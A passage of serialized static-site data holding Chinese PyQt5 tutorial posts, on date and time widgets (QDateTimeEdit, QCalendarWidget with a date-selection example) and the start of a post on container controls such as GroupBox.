985],{"type":24,"value":47986},"dateTimeChanged",{"type":18,"tag":466,"props":47988,"children":47989},{},[47990],{"type":24,"value":47991},"日期或者时间发生改变时发射",{"type":18,"tag":34,"props":47993,"children":47994},{},[47995,47997,48002,48004,48009,48010,48015],{"type":24,"value":47996},"例如，在Qt Designer设计器的窗口中分别添加一个",{"type":18,"tag":74,"props":47998,"children":48000},{"className":47999},[],[48001],{"type":24,"value":47424},{"type":24,"value":48003},"控件、一个",{"type":18,"tag":74,"props":48005,"children":48007},{"className":48006},[],[48008],{"type":24,"value":47431},{"type":24,"value":44677},{"type":18,"tag":74,"props":48011,"children":48013},{"className":48012},[],[48014],{"type":24,"value":47438},{"type":24,"value":48016},"控件，它们的显示效果如图所示。",{"type":18,"tag":34,"props":48018,"children":48019},{},[48020],{"type":18,"tag":54,"props":48021,"children":48024},{"alt":48022,"src":48023},"Pasted image 20250901201046","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901201046.png",[],{"type":18,"tag":96,"props":48026,"children":48027},{},[48028,48087],{"type":18,"tag":34,"props":48029,"children":48030},{},[48031,48035,48037,48042,48043,48048,48049,48054,48056,48062,48064,48070,48072,48078,48080,48085],{"type":18,"tag":105,"props":48032,"children":48033},{},[48034],{"type":24,"value":44648},{"type":24,"value":48036}," 多学两招\n1）由于",{"type":18,"tag":74,"props":48038,"children":48040},{"className":48039},[],[48041],{"type":24,"value":47851},{"type":24,"value":1942},{"type":18,"tag":74,"props":48044,"children":48046},{"className":48045},[],[48047],{"type":24,"value":47864},{"type":24,"value":10315},{"type":18,"tag":74,"props":48050,"children":48052},{"className":48051},[],[48053],{"type":24,"value":47877},{"type":24,"value":48055},"方法的返回值分别是",{"type":18,"tag":74,"props":48057,"children":48059},{"className":48058},[],[48060],{"type":24,"value":48061},"QDate",{"type":24,"value":48063},"类型、",{"type":18,"tag":74,"props":48065,"children":48067},{"className":48066},[],[48068],{"type":24,"value":48069},"QTime",{"type":24,"value":48071},"类型和",{"type":18,"tag":74,"props":48073,"children":48075},{"className":48074},[],[48076],{"type":24,"value":48077},"QDateTime",{"type":24,"value":48079},"类型，无法直接使用，因此如果想要获取日期时间控件中的具体日期和（或）时间值，可以使用",{"type":18,"tag":74,"props":48081,"children":48083},{"className":48082},[],[48084],{"type":24,"value":43281},{"type":24,"value":48086},"方法进行获取，例如：",{"type":18,"tag":287,"props":48088,"children":48089},{"code":8,"language":28712,"meta":8,"className":28710,"style":8},[48090],{"type":18,"tag":74,"props":48091,"children":48092},{"__ignoreMap":8},[48093],{"type":18,"tag":297,"props":48094,"children":48095},{"class":299,"line":300},[48096],{"type":18,"tag":297,"props":48097,"children":48098},{},[48099],{"type":24,"value":8},{"type":18,"tag":34,"props":48101,"children":48102},{},[48103],{"type":24,"value":48104},"self.dateTimeEdit.text()",{"type":18,"tag":96,"props":48106,"children":48107},{},[48108],{"type":18,"tag":287,"props":48109,"children":48110},{"code":8},[48111],{"type":18,"tag":74,"props":48112,"children":48113},{"__ignoreMap":8},[48114],{"type":24,"value":8},{"type":18,"tag":34,"props":48116,"children":48117},{},[48118,48120,48126],{"type":24,"value":48119},"2）使用日期时间控件时，如果要改变日期时间，默认只能通过上下箭头来改变，如果想弹出日历控件，那么设置",{"type":18,"tag":74,"props":48121,"children":48123},{"className":48122},[],[48124],{"type":24,"value":48125},"setCalendarPoput(True)",{"type":24,"value":33621},{"type":18,"tag":19,"props":48128,"children":48130},{"id":48129},"_2calendarwidget日历控件",[48131,48132,48137],{"type":24,"value":42997},{"type":18,"tag":74,"props":48133,"children":48135},{"className":48134},[],[48136],{"type":24,"value":47445},{"type":24,"value":48138},"：日历控件",{"type":18,"tag":121,"props":48140,"children":48141},{},[],{"type":18,"tag":34,"props":48143,"children":48144},{},[48145,48150],{"type":18,"tag":74,"props":48146,"children":48148},{"className":48147},[],[48149],{"type":24,"value":47445},{"type":24,"value":48151},"控件，又称为日历控件，主要用来显示和选择日期。",{"type":18,"tag":34,"props":48153,"children":48154},{},[48155,48160,48161,48167],{"type":18,"tag":74,"props":48156,"children":48158},{"className":48157},[],[48159],{"type":24,"value":47445},{"type":24,"value":41483},{"type":18,"tag":74,"props":48162,"children":48164},{"className":48163},[],[48165],{"type":24,"value":48166},"QCalendarWidget",{"type":24,"value":48168},"类，该类的常用方法及说明如表所示。",{"type":18,"tag":431,"props":48170,"children":48171},{},[48172,48192],{"type":18,"tag":435,"props":48173,"children":48174},{},[48175],{"type":18,"tag":439,"props":48176,"children":48177},{},[48178,48185],{"type":18,"tag":443,"props":48179,"children":48180},{},[48181],{"type":18,"tag":105,"props":48182,"children":48183},{},[48184],{"type":24,"value":41518},{"type":18,"tag":443,"props":48186,"children":48187},{},[48188],{"type":18,"tag":105,"props":48189,"children":48190},{},[48191],{"type":24,"value":41526},{"type":18,"tag":459,"props":48193,"children":48194},{},[48195,48208,48219,48231,48300,48313,48342,48387,48415,48428,48441,48454],{"type":18,"tag":439,"props":48196,"children":48197},{},[48198,48203],{"type":18,"tag":466,"props":48199,"children":48200},{},[48201],{"type":24,"value":48202},"setSelectedDate()",{"type":18,"tag":466,"props":48204,"children":48205},{},[48206],{"type":24,"value":48207},"设置选中的日期，默认为当前日期",{"type":18,"tag":439,"props":48209,"children":48210},{},[48211,48215],{"type":18,"tag":466,"props":48212,"children":48213},{},[48214],{"type":24,"value":47721},{"type":18,"tag":466,"props":48216,"children":48217},{},[48218],{"type":24,"value":47726},{"type":18,"tag":439,"props":48220,"children":48221},{},[48222,48227],{"type":18,"tag":466,"props":48223,"children":48224},{},[48225],{"type":24,"value":48226},"setMaximumDate",{"type":18,"tag":466,"props":48228,"children":48229},{},[48230],{"type":24,"value":47713},{"type":18,"tag":439,"props":48232,"children":48233},{},[48234,48239],{"type":18,"tag":466,"props":48235,"children":48236},{},[48237],{"type":24,"value":48238},"setFirstDayOfWeek",{"type":18,"tag":466,"props":48240,"children":48241},{},[48242,48244,48247,48250,48252,48255,48258,48260,48263,48266,48268,48271,48274,48276,48279,48282,48284,48287,48290,48292,48295,48298],{"type":24,"value":48243},"设置一周的第一天，取值如下：",{"type":18,"tag":6882,"props":48245,"children":48246},{},[],{"type":18,"tag":6882,"props":48248,"children":48249},{},[],{"type":24,"value":48251},"◆ Qt.Monday：星期一",{"type":18,"tag":6882,"props":48253,"children":48254},{},[],{"type":18,"tag":6882,"props":48256,"children":48257},{},[],{"type":24,"value":48259},"◆ Qt.Tuesday：星期二",{"type":18,"tag":6882,"props":48261,"children":48262},{},[],{"type":18,"tag":6882,"props":48264,"children":48265},{},[],{"type":24,"value":48267},"◆ Qt.Wednesday：星期三",{"type":18,"tag":6882,"props":48269,"children":48270},{},[],{"type":18,"tag":6882,"props":48272,"children":48273},{},[],{"type":24,"value":48275},"◆ Qt.Thursday：星期四",{"type":18,"tag":6882,"props":48277,"children":48278},{},[],{"type":18,"tag":6882,"props":48280,"children":48281},{},[],{"type":24,"value":48283},"◆ Qt.Friday：星期五",{"type":18,"tag":6882,"props":48285,"children":48286},{},[],{"type":18,"tag":6882,"props":48288,"children":48289},{},[],{"type":24,"value":48291},"◆ Qt.Saturday：星期六",{"type":18,"tag":6882,"props":48293,"children":48294},{},[],{"type":18,"tag":6882,"props":48296,"children":48297},{},[],{"type":24,"value":48299},"◆ Qt.Sunday：星期日",{"type":18,"tag":439,"props":48301,"children":48302},{},[48303,48308],{"type":18,"tag":466,"props":48304,"children":48305},{},[48306],{"type":24,"value":48307},"setGridVisible",{"type":18,"tag":466,"props":48309,"children":48310},{},[48311],{"type":24,"value":48312},"设置是否显示网格线",{"type":18,"tag":439,"props":48314,"children":48315},{},[48316,48321],{"type":18,"tag":466,"props":48317,"children":48318},{},[48319],{"type":24,"value":48320},"setSelectionMode",{"type":18,"tag":466,"props":48322,"children":48323},{},[48324,48326,48329,48332,48334,48337,48340],{"type":24,"value":48325},"设置选择模式，取值如下：",{"type":18,"tag":6882,"props":48327,"children":48328},{},[],{"type":18,"tag":6882,"props":48330,"children":48331},{},[],{"type":24,"value":48333},"◆ QCalendarWidget.NoSelection：不能选中日期",{"type":18,"tag":6882,"props":48335,"children":48336},{},[],{"type":18,"tag":6882,"props":48338,"children":48339},{},[],{"type":24,"value":48341},"◆ QCalendarWidget.SingleSelection：可以选中一个日期",{"type":18,"tag":439,"props":48343,"children":48344},{},[48345,48350],{"type":18,"tag":466,"props":48346,"children":48347},{},[48348],{"type":24,"value":48349},"setHorizontalHeaderFormat",{"type":18,"tag":466,"props":48351,"children":48352},{},[48353,48355,48358,48361,48363,48366,48369,48371,48374,48377,48379,48382,48385],{"type":24,"value":48354},"设置水平头部格式，分别如下：",{"type":18,"tag":6882,"props":48356,"children":48357},{},[],{"type":18,"tag":6882,"props":48359,"children":48360},{},[],{"type":24,"value":48362},"◆ QCalendarWidget.NoHorizontalHeader：不显示水平头部",{"type":18,"tag":6882,"props":48364,"children":48365},{},[],{"type":18,"tag":6882,"props":48367,"children":48368},{},[],{"type":24,"value":48370},"◆ QCalendarWidget.SingleLetterDayNames：“周”",{"type":18,"tag":6882,"props":48372,"children":48373},{},[],{"type":18,"tag":6882,"props":48375,"children":48376},{},[],{"type":24,"value":48378},"◆ QCalendarWidget.ShortDayNames：简短天的名称，如“周一”",{"type":18,"tag":6882,"props":48380,"children":48381},{},[],{"type":18,"tag":6882,"props":48383,"children":48384},{},[],{"type":24,"value":48386},"◆ QCalendarWidget.LongDayNames：完整天的名称，如“星期一”",{"type":18,"tag":439,"props":48388,"children":48389},{},[48390,48395],{"type":18,"tag":466,"props":48391,"children":48392},{},[48393],{"type":24,"value":48394},"setVerticalHeaderFormat",{"type":18,"tag":466,"props":48396,"children":48397},{},[48398,48399,48402,48405,48407,48410,48413],{"type":24,"value":44367},{"type":18,"tag":6882,"props":48400,"children":48401},{},[],{"type":18,"tag":6882,"props":48403,"children":48404},{},[],{"type":24,"value":48406},"◆ QCalendarWidget.NoVerticalHeader：不显示垂直头部",{"type":18,"tag":6882,"props":48408,"children":48409},{},[],{"type":18,"tag":6882,"props":48411,"children":48412},{},[],{"type":24,"value":48414},"◆ QCalendarWidget.ISOWeekNumbers：以星期数字显示垂直头部",{"type":18,"tag":439,"props":48416,"children":48417},{},[48418,48423],{"type":18,"tag":466,"props":48419,"children":48420},{},[48421],{"type":24,"value":48422},"setNavigationBarVisible",{"type":18,"tag":466,"props":48424,"children":48425},{},[48426],{"type":24,"value":48427},"设置是否显示导航栏",{"type":18,"tag":439,"props":48429,"children":48430},{},[48431,48436],{"type":18,"tag":466,"props":48432,"children":48433},{},[48434],{"type":24,"value":48435},"setDateEditEnabled",{"type":18,"tag":466,"props":48437,"children":48438},{},[48439],{"type":24,"value":48440},"设置是否可以编辑日期",{"type":18,"tag":439,"props":48442,"children":48443},{},[48444,48449],{"type":18,"tag":466,"props":48445,"children":48446},{},[48447],{"type":24,"value":48448},"setDateEditAcceptDelay()",{"type":18,"tag":466,"props":48450,"children":48451},{},[48452],{"type":24,"value":48453},"设置编辑日期的最长间隔，默认为1500",{"type":18,"tag":439,"props":48455,"children":48456},{},[48457,48462],{"type":18,"tag":466,"props":48458,"children":48459},{},[48460],{"type":24,"value":48461},"selectedDate()",{"type":18,"tag":466,"props":48463,"children":48464},{},[48465],{"type":24,"value":48466},"获取选择的日期，返回值而QDate类型",{"type":18,"tag":34,"props":48468,"children":48469},{},[48470,48475,48477,48483],{"type":18,"tag":74,"props":48471,"children":48473},{"className":48472},[],[48474],{"type":24,"value":47445},{"type":24,"value":48476},"控件最常用的信号是",{"type":18,"tag":74,"props":48478,"children":48480},{"className":48479},[],[48481],{"type":24,"value":48482},"selectionChanged",{"type":24,"value":48484},"，该信号在选择的日期发生改变时发射。",{"type":18,"tag":34,"props":48486,"children":48487},{},[48488],{"type":18,"tag":105,"props":48489,"children":48490},{},[48491],{"type":24,"value":48492},"实例 获取选中的日期",{"type":18,"tag":34,"props":48494,"children":48495},{},[48496,48498,48503,48505,48510,48511,48516,48517,48522,48524,48530,48532,48537,48539,48545],{"type":24,"value":48497},"在Qt Designer设计器中创建一个窗口，在窗口中添加一个",{"type":18,"tag":74,"props":48499,"children":48501},{"className":48500},[],[48502],{"type":24,"value":47445},{"type":24,"value":48504},"控件，设计完成后保存为",{"type":18,"tag":74,"props":48506,"children":48508},{"className":48507},[],[48509],{"type":24,"value":43367},{"type":24,"value":43369},{"type":18,"tag":74,"props":48512,"children":48514},{"className":48513},[],[48515],{"type":24,"value":42560},{"type":24,"value":46735},{"type":18,"tag":74,"props":48518,"children":48520},{"className":48519},[],[48521],{"type":24,"value":42560},{"type":24,"value":48523},"代码文件中自定义一个",{"type":18,"tag":74,"props":48525,"children":48527},{"className":48526},[],[48528],{"type":24,"value":48529},"getdate()方法",{"type":24,"value":48531},"，用来获取",{"type":18,"tag":74,"props":48533,"children":48535},{"className":48534},[],[48536],{"type":24,"value":47445},{"type":24,"value":48538},"控件中选中的日期，并转换为",{"type":18,"tag":74,"props":48540,"children":48542},{"className":48541},[],[48543],{"type":24,"value":48544},"年-月-日",{"type":24,"value":48546},"形式，显示在弹出的提示框中，代码如下：",{"type":18,"tag":287,"props":48548,"children":48550},{"code":48549,"language":28712,"meta":8,"className":28710,"style":8},"def getdate(self):  \n    from PyQt5.QtWidgets import QMessageBox  \n    # 获取当前选中日期的QDate对象  \n    date = QtCore.QDate(self.calendarWidget.selectedDate())  \n    year = date.year()    # 获取年份  \n    month = date.month()  # 获取月份  \n    day = date.day()      # 获取日  \n    QMessageBox.information(MainWindow, \"提示\", str(year) + \"-\" + str(month) + \"-\" + str(day), QMessageBox.Ok)\n",[48551],{"type":18,"tag":74,"props":48552,"children":48553},{"__ignoreMap":8},[48554,48562,48570,48578,48586,48594,48602,48610],{"type":18,"tag":297,"props":48555,"children":48556},{"class":299,"line":300},[48557],{"type":18,"tag":297,"props":48558,"children":48559},{},[48560],{"type":24,"value":48561},"def getdate(self):  \n",{"type":18,"tag":297,"props":48563,"children":48564},{"class":299,"line":657},[48565],{"type":18,"tag":297,"props":48566,"children":48567},{},[48568],{"type":24,"value":48569},"    from PyQt5.QtWidgets import QMessageBox  \n",{"type":18,"tag":297,"props":48571,"children":48572},{"class":299,"line":662},[48573],{"type":18,"tag":297,"props":48574,"children":48575},{},[48576],{"type":24,"value":48577},"    # 获取当前选中日期的QDate对象  \n",{"type":18,"tag":297,"props":48579,"children":48580},{"class":299,"line":799},[48581],{"type":18,"tag":297,"props":48582,"children":48583},{},[48584],{"type":24,"value":48585},"    date = QtCore.QDate(self.calendarWidget.selectedDate())  \n",{"type":18,"tag":297,"props":48587,"children":48588},{"class":299,"line":808},[48589],{"type":18,"tag":297,"props":48590,"children":48591},{},[48592],{"type":24,"value":48593},"    year = date.year()    # 获取年份  \n",{"type":18,"tag":297,"props":48595,"children":48596},{"class":299,"line":817},[48597],{"type":18,"tag":297,"props":48598,"children":48599},{},[48600],{"type":24,"value":48601},"    month = date.month()  # 获取月份  \n",{"type":18,"tag":297,"props":48603,"children":48604},{"class":299,"line":826},[48605],{"type":18,"tag":297,"props":48606,"children":48607},{},[48608],{"type":24,"value":48609},"    day = date.day()      # 获取日  \n",{"type":18,"tag":297,"props":48611,"children":48612},{"class":299,"line":4524},[48613],{"type":18,"tag":297,"props":48614,"children":48615},{},[48616],{"type":24,"value":48617},"    QMessageBox.information(MainWindow, \"提示\", str(year) + \"-\" + str(month) + \"-\" + str(day), QMessageBox.Ok)\n",{"type":18,"tag":34,"props":48619,"children":48620},{},[48621,48623,48628,48630,48636,48638,48644],{"type":24,"value":48622},"对",{"type":18,"tag":74,"props":48624,"children":48626},{"className":48625},[],[48627],{"type":24,"value":47445},{"type":24,"value":48629},"控件进行设置，并为其",{"type":18,"tag":74,"props":48631,"children":48633},{"className":48632},[],[48634],{"type":24,"value":48635},"selectionChanged信号",{"type":24,"value":48637},"绑定自定义的",{"type":18,"tag":74,"props":48639,"children":48641},{"className":48640},[],[48642],{"type":24,"value":48643},"getdate()槽函数",{"type":24,"value":48645},"，代码如下：",{"type":18,"tag":287,"props":48647,"children":48649},{"code":48648,"language":28712,"meta":8,"className":28710,"style":8},"self.calendarWidget = QtWidgets.QCalendarWidget(self.centralwidget)  \nself.calendarWidget.setGeometry(QtCore.QRect(20, 10, 248, 197))  \nself.calendarWidget.setSelectedDate(QtCore.QDate(2020, 3, 23))  # 设置默认选中的日期  \nself.calendarWidget.setMinimumDate(QtCore.QDate(1752, 9, 14))  # 设置最小的日期  \nself.calendarWidget.setMaximumDate(QtCore.QDate(9999, 12, 31))  # 设置最大的日期  \nself.calendarWidget.setFirstDayOfWeek(QtCore.Qt.Monday)  # 设置每周的第一天为星期一  \nself.calendarWidget.setGridVisible(True)  # 设置网格线可见  \n# 设置可以选中单个日期  \nself.calendarWidget.setSelectionMode(QtWidgets.QCalendarWidget.SingleSelection)  \n# 设置水平表头为简短形式，即“周一”形式  \nself.calendarWidget.setHorizontalHeaderFormat(QtWidgets.QCalendarWidget.ShortDayNames)  \n# 设置垂直表头为周数  \nself.calendarWidget.setVerticalHeaderFormat(QtWidgets.QCalendarWidget.ISOWeekNumbers)  \nself.calendarWidget.setNavigationBarVisible(True)  # 设置显示导航栏  \nself.calendarWidget.setDateEditEnabled(True)  # 设置日期可以编辑  \nself.calendarWidget.setObjectName(\"calendarWidget\")  \n# 选中日期变化时显示选择的日期  \nself.calendarWidget.selectionChanged.connect(self.getdate)\n",[48650],{"type":18,"tag":74,"props":48651,"children":48652},{"__ignoreMap":8},[48653,48661,48669,48677,48685,48693,48701,48709,48717,48725,48733,48741,48749,48757,48765,48773,48781,48789],{"type":18,"tag":297,"props":48654,"children":48655},{"class":299,"line":300},[48656],{"type":18,"tag":297,"props":48657,"children":48658},{},[48659],{"type":24,"value":48660},"self.calendarWidget = QtWidgets.QCalendarWidget(self.centralwidget)  \n",{"type":18,"tag":297,"props":48662,"children":48663},{"class":299,"line":657},[48664],{"type":18,"tag":297,"props":48665,"children":48666},{},[48667],{"type":24,"value":48668},"self.calendarWidget.setGeometry(QtCore.QRect(20, 10, 248, 197))  \n",{"type":18,"tag":297,"props":48670,"children":48671},{"class":299,"line":662},[48672],{"type":18,"tag":297,"props":48673,"children":48674},{},[48675],{"type":24,"value":48676},"self.calendarWidget.setSelectedDate(QtCore.QDate(2020, 3, 23))  # 设置默认选中的日期  \n",{"type":18,"tag":297,"props":48678,"children":48679},{"class":299,"line":799},[48680],{"type":18,"tag":297,"props":48681,"children":48682},{},[48683],{"type":24,"value":48684},"self.calendarWidget.setMinimumDate(QtCore.QDate(1752, 9, 14))  # 设置最小的日期  \n",{"type":18,"tag":297,"props":48686,"children":48687},{"class":299,"line":808},[48688],{"type":18,"tag":297,"props":48689,"children":48690},{},[48691],{"type":24,"value":48692},"self.calendarWidget.setMaximumDate(QtCore.QDate(9999, 12, 31))  # 设置最大的日期  \n",{"type":18,"tag":297,"props":48694,"children":48695},{"class":299,"line":817},[48696],{"type":18,"tag":297,"props":48697,"children":48698},{},[48699],{"type":24,"value":48700},"self.calendarWidget.setFirstDayOfWeek(QtCore.Qt.Monday)  # 设置每周的第一天为星期一  \n",{"type":18,"tag":297,"props":48702,"children":48703},{"class":299,"line":826},[48704],{"type":18,"tag":297,"props":48705,"children":48706},{},[48707],{"type":24,"value":48708},"self.calendarWidget.setGridVisible(True)  # 设置网格线可见  \n",{"type":18,"tag":297,"props":48710,"children":48711},{"class":299,"line":4524},[48712],{"type":18,"tag":297,"props":48713,"children":48714},{},[48715],{"type":24,"value":48716},"# 设置可以选中单个日期  \n",{"type":18,"tag":297,"props":48718,"children":48719},{"class":299,"line":4533},[48720],{"type":18,"tag":297,"props":48721,"children":48722},{},[48723],{"type":24,"value":48724},"self.calendarWidget.setSelectionMode(QtWidgets.QCalendarWidget.SingleSelection)  \n",{"type":18,"tag":297,"props":48726,"children":48727},{"class":299,"line":4546},[48728],{"type":18,"tag":297,"props":48729,"children":48730},{},[48731],{"type":24,"value":48732},"# 设置水平表头为简短形式，即“周一”形式  \n",{"type":18,"tag":297,"props":48734,"children":48735},{"class":299,"line":4555},[48736],{"type":18,"tag":297,"props":48737,"children":48738},{},[48739],{"type":24,"value":48740},"self.calendarWidget.setHorizontalHeaderFormat(QtWidgets.QCalendarWidget.ShortDayNames)  \n",{"type":18,"tag":297,"props":48742,"children":48743},{"class":299,"line":4568},[48744],{"type":18,"tag":297,"props":48745,"children":48746},{},[48747],{"type":24,"value":48748},"# 设置垂直表头为周数  \n",{"type":18,"tag":297,"props":48750,"children":48751},{"class":299,"line":4577},[48752],{"type":18,"tag":297,"props":48753,"children":48754},{},[48755],{"type":24,"value":48756},"self.calendarWidget.setVerticalHeaderFormat(QtWidgets.QCalendarWidget.ISOWeekNumbers)  \n",{"type":18,"tag":297,"props":48758,"children":48759},{"class":299,"line":4590},[48760],{"type":18,"tag":297,"props":48761,"children":48762},{},[48763],{"type":24,"value":48764},"self.calendarWidget.setNavigationBarVisible(True)  # 设置显示导航栏  \n",{"type":18,"tag":297,"props":48766,"children":48767},{"class":299,"line":4599},[48768],{"type":18,"tag":297,"props":48769,"children":48770},{},[48771],{"type":24,"value":48772},"self.calendarWidget.setDateEditEnabled(True)  # 设置日期可以编辑  \n",{"type":18,"tag":297,"props":48774,"children":48775},{"class":299,"line":4607},[48776],{"type":18,"tag":297,"props":48777,"children":48778},{},[48779],{"type":24,"value":48780},"self.calendarWidget.setObjectName(\"calendarWidget\")  \n",{"type":18,"tag":297,"props":48782,"children":48783},{"class":299,"line":4616},[48784],{"type":18,"tag":297,"props":48785,"children":48786},{},[48787],{"type":24,"value":48788},"# 选中日期变化时显示选择的日期  \n",{"type":18,"tag":297,"props":48790,"children":48791},{"class":299,"line":4624},[48792],{"type":18,"tag":297,"props":48793,"children":48794},{},[48795],{"type":24,"value":48796},"self.calendarWidget.selectionChanged.connect(self.getdate)\n",{"type":18,"tag":34,"props":48798,"children":48799},{},[48800,48802,48807],{"type":24,"value":48801},"为",{"type":18,"tag":74,"props":48803,"children":48805},{"className":48804},[],[48806],{"type":24,"value":42560},{"type":24,"value":48808},"文件添加程序入口，然后运行程序，日期控件在窗口中的显示效果如图所示;",{"type":18,"tag":34,"props":48810,"children":48811},{},[48812],{"type":18,"tag":54,"props":48813,"children":48816},{"alt":48814,"src":48815},"Pasted image 20250901202415","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901202415.png",[],{"type":18,"tag":34,"props":48818,"children":48819},{},[48820],{"type":24,"value":48821},"单击某个日期时，可以弹出对话框进行显示，如图所示。",{"type":18,"tag":34,"props":48823,"children":48824},{},[48825],{"type":18,"tag":54,"props":48826,"children":48829},{"alt":48827,"src":48828},"Pasted image 20250901202613","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901202613.png",[],{"type":18,"tag":96,"props":48831,"children":48832},{},[48833,48934],{"type":18,"tag":34,"props":48834,"children":48835},{},[48836,48840,48842,48847,48849,48854,48856,48861,48863,48868,48870,48875,48877,48881,48883,48888,48889,48895,48896,48901,48902,48907,48908,48914,48915,48920,48921,48926,48927,48933],{"type":18,"tag":105,"props":48837,"children":48838},{},[48839],{"type":24,"value":44648},{"type":24,"value":48841}," 多学两招\n在PyQt5中，如果要",{"type":18,"tag":105,"props":48843,"children":48844},{},[48845],{"type":24,"value":48846},"获取当前系统的日期时间",{"type":24,"value":48848},"，可以借助",{"type":18,"tag":74,"props":48850,"children":48852},{"className":48851},[],[48853],{"type":24,"value":45512},{"type":24,"value":48855},"模块下的",{"type":18,"tag":74,"props":48857,"children":48859},{"className":48858},[],[48860],{"type":24,"value":48077},{"type":24,"value":48862},"类、",{"type":18,"tag":74,"props":48864,"children":48866},{"className":48865},[],[48867],{"type":24,"value":48061},{"type":24,"value":48869},"类或者",{"type":18,"tag":74,"props":48871,"children":48873},{"className":48872},[],[48874],{"type":24,"value":48069},{"type":24,"value":48876},"类实现。其中，",{"type":18,"tag":105,"props":48878,"children":48879},{},[48880],{"type":24,"value":48846},{"type":24,"value":48882},"可以使用",{"type":18,"tag":74,"props":48884,"children":48886},{"className":48885},[],[48887],{"type":24,"value":48077},{"type":24,"value":43752},{"type":18,"tag":74,"props":48890,"children":48892},{"className":48891},[],[48893],{"type":24,"value":48894},"currentDateTime()方法",{"type":24,"value":43988},{"type":18,"tag":105,"props":48897,"children":48898},{},[48899],{"type":24,"value":48900},"获取当前系统的日期",{"type":24,"value":48882},{"type":18,"tag":74,"props":48903,"children":48905},{"className":48904},[],[48906],{"type":24,"value":48061},{"type":24,"value":43752},{"type":18,"tag":74,"props":48909,"children":48911},{"className":48910},[],[48912],{"type":24,"value":48913},"currentDate()方法",{"type":24,"value":43988},{"type":18,"tag":105,"props":48916,"children":48917},{},[48918],{"type":24,"value":48919},"获取当前系统的时间",{"type":24,"value":48882},{"type":18,"tag":74,"props":48922,"children":48924},{"className":48923},[],[48925],{"type":24,"value":48069},{"type":24,"value":43752},{"type":18,"tag":74,"props":48928,"children":48930},{"className":48929},[],[48931],{"type":24,"value":48932},"currentTime()方法",{"type":24,"value":48645},{"type":18,"tag":287,"props":48935,"children":48937},{"code":48936},"# 获取当前系统的日期时间  \ndatetime = QtCore.QDateTime.currentDateTime()  \n# 获取当前系统的日期  \ndate = QtCore.QDate.currentDate()  \n# 获取当前系统的时间  \ntime = QtCore.QTime.currentTime()\n",[48938],{"type":18,"tag":74,"props":48939,"children":48940},{"__ignoreMap":8},[48941],{"type":24,"value":48936},{"type":18,"tag":651,"props":48943,"children":48944},{},[48945],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":48947},[48948,48949],{"id":47450,"depth":657,"text":47453},{"id":48129,"depth":657,"text":48950},"2  CalendarWidget：日历控件","content:blog:2025-08-27-pyqt5-日期时间类控件.md","blog\u002F2025-08-27-pyqt5-日期时间类控件.md","blog\u002F2025-08-27-pyqt5-日期时间类控件",{"_path":48955,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":48956,"description":48957,"date":48958,"tags":48959,"body":48960,"_type":672,"_id":51135,"_source":674,"_file":51136,"_stem":51137,"_extension":677},"\u002Fblog\u002F2025-08-26-pyqt5","PyQt5-容器控件","PyQt5容器控件详解：GroupBox、TabWidget、ScrollArea、Frame等布局容器。","2025-08-26",[28616,41429,41430],{"type":15,"children":48961,"toc":51127},[48962,48991,49004,49007,49017,49033,49162,49194,49208,49220,49223,49233,49249,49450,49458,49466,49474,49482,49490,49498,49506,49514,49533,49546,49554,49606,49730,49758,49813,49838,49846,49851,49859,49871,49884,49887,49897,49913,50052,50067,50075,50102,51103,51115,51123],{"type":18,"tag":34,"props":48963,"children":48964},{},[48965,48967,48973,48975,48981,48983,48989],{"type":24,"value":48966},"容器控件可以将窗口中的控件进行分组处理，使窗口的分类更加清晰，常用的容器控件有",{"type":18,"tag":74,"props":48968,"children":48970},{"className":48969},[],[48971],{"type":24,"value":48972},"GroupBo",{"type":24,"value":48974},"x分组框、",{"type":18,"tag":74,"props":48976,"children":48978},{"className":48977},[],[48979],{"type":24,"value":48980},"TabWidget",{"type":24,"value":48982},"选项卡和",{"type":18,"tag":74,"props":48984,"children":48986},{"className":48985},[],[48987],{"type":24,"value":48988},"ToolBox",{"type":24,"value":48990},"工具盒，本节将对它们的常用方法及使用方式进行详解。",{"type":18,"tag":19,"props":48992,"children":48994},{"id":48993},"_1groupbox分组框",[48995,48996,49002],{"type":24,"value":41463},{"type":18,"tag":74,"props":48997,"children":48999},{"className":48998},[],[49000],{"type":24,"value":49001},"GroupBox",{"type":24,"value":49003},"：分组框",{"type":18,"tag":121,"props":49005,"children":49006},{},[],{"type":18,"tag":34,"props":49008,"children":49009},{},[49010,49015],{"type":18,"tag":74,"props":49011,"children":49013},{"className":49012},[],[49014],{"type":24,"value":49001},{"type":24,"value":49016},"控件，又称为分组框控件，它主要为其他控件提供分组，并且按照控件的分组来细分窗口的功能。",{"type":18,"tag":34,"props":49018,"children":49019},{},[49020,49025,49026,49032],{"type":18,"tag":74,"props":49021,"children":49023},{"className":49022},[],[49024],{"type":24,"value":49001},{"type":24,"value":41483},{"type":18,"tag":74,"props":49027,"children":49029},{"className":49028},[],[49030],{"type":24,"value":49031},"QGroupBox",{"type":24,"value":48168},{"type":18,"tag":431,"props":49034,"children":49035},{},[49036,49056],{"type":18,"tag":435,"props":49037,"children":49038},{},[49039],{"type":18,"tag":439,"props":49040,"children":49041},{},[49042,49049],{"type":18,"tag":443,"props":49043,"children":49044},{},[49045],{"type":18,"tag":105,"props":49046,"children":49047},{},[49048],{"type":24,"value":41518},{"type":18,"tag":443,"props":49050,"children":49051},{},[49052],{"type":18,"tag":105,"props":49053,"children":49054},{},[49055],{"type":24,"value":41526},{"type":18,"tag":459,"props":49057,"children":49058},{},[49059,49136,49149],{"type":18,"tag":439,"props":49060,"children":49061},{},[49062,49066],{"type":18,"tag":466,"props":49063,"children":49064},{},[49065],{"type":24,"value":44362},{"type":18,"tag":466,"props":49067,"children":49068},{},[49069,49071,49074,49077,49079,49082,49085,49086,49089,49092,49093,49096,49099,49100,49103,49106,49107,49110,49113,49115,49118,49121,49122,49125,49128,49129,49132,49135],{"type":24,"value":49070},"设置对齐方式，有水平和垂直这两种，分别如下：",{"type":18,"tag":6882,"props":49072,"children":49073},{},[],{"type":18,"tag":6882,"props":49075,"children":49076},{},[],{"type":24,"value":49078},"◆ 